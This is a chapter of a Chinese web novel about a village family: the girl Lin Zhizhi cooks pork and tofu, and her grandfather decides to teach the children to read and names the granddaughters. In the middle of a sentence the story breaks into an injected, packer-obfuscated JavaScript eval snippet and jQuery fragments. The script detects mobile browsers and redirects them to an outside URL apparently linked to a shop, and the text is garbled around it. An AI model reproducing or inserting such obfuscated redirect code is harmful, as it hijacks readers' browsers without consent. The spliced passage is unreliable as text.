“算了,阿奶,我去做饭,看今天晚上我给你们露一手。”林只只决意要扳回一局,对于自己的厨艺她还是信心满满的。
“去吧去吧,让你大丫姐帮你,可别把房子给点咯。”林阿奶思索半刻,面上嫌弃地冲她挥挥手,反正在这里还麻烦别人给她捡烂摊子。
六岁多了,做饭简单总归搞不砸。
半刻钟,林只只就遇上了麻烦,她可不会用土灶台啊!只好腆着脸向林大丫求助了。
还好家里是有铁锅的,以前主要以煮、烤、蒸为主,炒菜很少见。
因为生产力的限制,古时一年能产出的铁很少,连军队的铠甲兵器都不够用,直到前朝冶铁业发展快速,铁的产量大大提高,这才有了一般人家也能用上铁锅。
灶下生大火,林只只从油罐里刮出一小勺儿猪油。现在的植物油并不常见,以食用猪油居多。
等油热腾起来,她就将早就处理好切成丁的五花肉倒进去一块儿翻炒,待得肉质表面染上薄薄一层金红,再把豆鼓酱、蒜片一并加入锅中。
这时候,往豚肉上再浇小半勺黄酒,锅沿“轰”地腾起一团烟来,嗤拉作响,浓烈的肉香扑面而来。
见差不多了,林只只加入半瓢水,再舀一勺儿酱料,这样就不用再放盐了。等水咕噜噜的烧开,她再把豆腐切成一小块一小块的放进去,盖上锅盖炖一会儿就好了。
家里人多一个菜显然不够,林大丫早已熟练地扯了几窝菜蔬洗净备好,哪里能舍得用油炒,就着炒完肉的锅油煮成一锅汤。
香味已经飘得老远,令院子里的人都忍不住往里张望,看到底做的是什么好吃的。
“阿奶,可以吃饭了。”林只只快手快脚地用盆把饭打出去。
为了配合这道大菜,她特意蒸了粟米饭,一粒粒黄澄澄的,在烛火当中格外好看。
当然,是经过了林阿奶的请示后同意的。
虽然不是白米饭,好歹也是干的不是,林只只心满意足地想着。
菜装盘之后,她又撒了一小簇葱花,热气一激,香味扑面而来,油汪汪,红亮亮,让人原本就饥肠辘辘的肚子,霎时好似又空了两分。
饭菜上桌,终于等到林阿爷示意可以吃饭了,林义迫不及待拾起筷子,夹起一块儿豆腐和着碎肉塞进嘴里,细品了品,也不说话,伸手就夹第二块。
桌上的人也不多话,一筷子一筷子地夹,如果忽略速度的话,林阿爷已经看似很优雅地在夹菜了。
炖得久了,豆腐上煮开一些小孔,林只只用筷子一夹,里面的汁水就噗嗤噗嗤地往外冒,她吹了吹,小心的咬了一口,混着肉碎和大酱熬成的汤汁,咸香带着甘甜,回味无穷。
林只只吃得眼睛发亮,她想的是肉实在是太好吃了,而其他人觉得豆腐也吃着不错。
林义把碗里的汤汁都喝干,心满意足地一抹嘴巴,发愿道:“要是能天天过这样的日子该多好呀。”
几个小的也是忙不咧迭地点点头表示自己很赞同。
钱氏也吃得很满足,闻言瞥了他们一眼道:“大白天做什么梦呢,天天这么吃,家都得被你们造没了。”
一屋人吃饱喝足,林阿爷就对他们说:“今天才泡的豆子,明天卖是来不及了,就明天晚上做好了,后天去松阳镇试一试。”
松阳镇位于长兴村东面,比到县城要近一半的路。
长兴村只有不到三十来户人家,近两百口人。而松阳镇近百多户,人口近千,镇上还有市集、食肆、药堂和学堂等等。
每逢三天一次的集会更是热闹的不得了,方圆十里的人都会带着积攒的物品来交换自己需要的。
有时,镇上比县里还热闹一些。
等大家收拾完了东西,林阿爷才宣布一件他这几天翻来覆去考量许久的决定,他深切感受到,因为林二丫的原因,家里变得不同了,兴许以后真的会有机会……
“我决定教剩下几个孩子读书。”敛去心中思绪,他定定开口。
原来家里就林仁一人读书学字,其他几个孩子还小,整天在外面玩,根本坐不下来看书,这也是林阿爷先前没有教他们的原因之一。
一阵沉默,连林阿奶都不敢相信他的决定。
“万般皆下品,惟有读书高。”这是即使是贫寒之家都懂的道理,但是读书有多难,她前半辈子已经体会到了。
以前的林家穷啊,她刚嫁过来那会儿,家里差点连饭都吃不上。
“读书要束脩、笔墨纸砚、赶考要盘缠,做官人际关系要打点……这些钱哪里来?”林阿奶不太支持这个决定。
但是这个决定深深打动了林只只,没错,士农工商,只有拥有更多的财富、更高的地位,才能保护自己在意的人。
“没错,阿爷,我支持你。”林只只打破沉默。
接着几个儿媳妇也表示同意,毕竟哪个做母亲的不希望自己的孩子出人头地,官位加身。
就算读不到那个地步,以后有了见识又识字,至少可以做个账房或者教书先生。不必再像他们这一辈人一样面朝黄土,背朝天的在地里面刨食了。
林阿爷看了几眼林只只,心下欣慰:“放心,现在先由我来给他们启蒙,我们家的情况你们也是知道,谁能去读书,值不值得全家人供,得看他们表现了。”
听到暂时不用花费,林阿奶也松了口不再管。
“对了,大丫二丫三丫,你们也大了,我就给你们取个大名吧。”林阿爷看着几个孩子道。
“巧心慧思,大丫你心思细腻,但是过于内敛,那就取一慧字吧。”林慧看着阿爷慈爱的眼神点了点头。
唉,林阿爷心下叹气,大儿媳的所作所为他也看在眼里,但是他也不好插手,只希望这个孙女以后能自己能干点。
他又看向林只只,一边回想着那个道士说的话道:“聪明伶俐,那既然你弟弟取了智字,那你挑一个知字也不为过。希望你以后行之愈笃,知之益明。”
灵敏慧秀,林知这孩子他再满意不得了。
林只只能感受到林阿爷语气中寄予的深厚期望,但是她以前的名字也是外婆取的,舍不得,于是一咬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024938|194356||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
牙:“阿爷,我想要一个小名!”
林阿爷颔首,在农民甚至是贵族都会在孩子未长成时取个贱名,这样好养活。
“那就叫只只吧!”林只只假装歪着脑袋思考了半晌。
林阿爷以为是“知”字,只摇头笑笑她小孩子心性。
反而是林二郎和罗氏反复念了几遍,笑着夸:“好好,这个名字好听。只只,多可爱啊!”
轮到林三丫,她还小懵懂不知。
“既然你的哥哥姐姐们都寓意机智聪敏,那希望你也能一样,取一敏字吧。明天起都跟着我读书吧”林阿爷轻柔地摸了摸她的头。
还没等大家想明白,林阿爷就疲惫地挥挥手,让大家回去了。
林慧、林义和林礼按捺不住内心的激动,他们早就羡慕大哥能读书了。
其他林智林敏则是懵懂,不知道这意味着什么,只觉得好玩儿就行了。
天已经彻底暗下来了,各房都梳洗好准备睡觉了,林小四打了一个哈欠,径直走进屋里,绕过竹屏进到自己的小隔间里,踢掉鞋子,爬上床就睡,一气呵成。
林只只对林阿爷准许大家一起读书只诧异了一瞬间便接受良好了,毕竟女孩儿读书在现代是理所当然的事。
而且对于她来说,只有好处没有坏处,毕竟现在自己是个文盲。
太远的事儿不必多想,她一头扎进系统准备再攒点积分到时候换些种子,来年春天不至于两手空空。
反而是林二郎他们在琢磨这件事,“读书就读书吧,女孩子识字明理也是好事儿。”
罗氏拍拍抱在怀里的孩子轻声哄着,“这样也好……”
她本想两个孩子再长大一些就教他们识文断字的。
大房也还有动静,农家人节约,晚上是不会点油灯的。
钱氏就着黑对躺在她身边的林大郎抱怨道:“你说大郎二郎就算了,她一个小丫头片子读什么书,家里的活儿不干啊?再过几年也要说亲了,一天天……”
他们虽然不知道具体的价钱,但书啊,笔啊,墨啊,纸啊的一听就很贵。
她说了半天,没听见身边的动静,还听到林大郎的呼噜声,实在气不过拧了他一把。
三房马氏和林三郎也在说话,“你说,咱们爹是认真的吗?”
“你担忧什么?大嫂二嫂都没说什么。”精明的林三郎倒是理解,“这叫家族投资,到时候无论是哪个读出来了,其他兄弟也能得到帮衬,还不敢说偏心。”
马氏一向听丈夫的话,点点头也不多言。
漫漫长夜,众人心思各异。
林只只都不知道自己是什么睡着的,反正一夜无梦,得了个好眠。
秋天的早晨,风微凉。
太阳从堂屋的窗棂照进来,带着一丝干草和露水的味道。
从今天早上起,他们就跟着识字了,不得不说,林阿爷效率很高啊。
少年音夹杂着儿童略稚嫩的朗读声回荡在院落,因为林仁已经跟着阿爷学过启蒙书《千字文》,所以是他先领着弟弟妹妹们读书。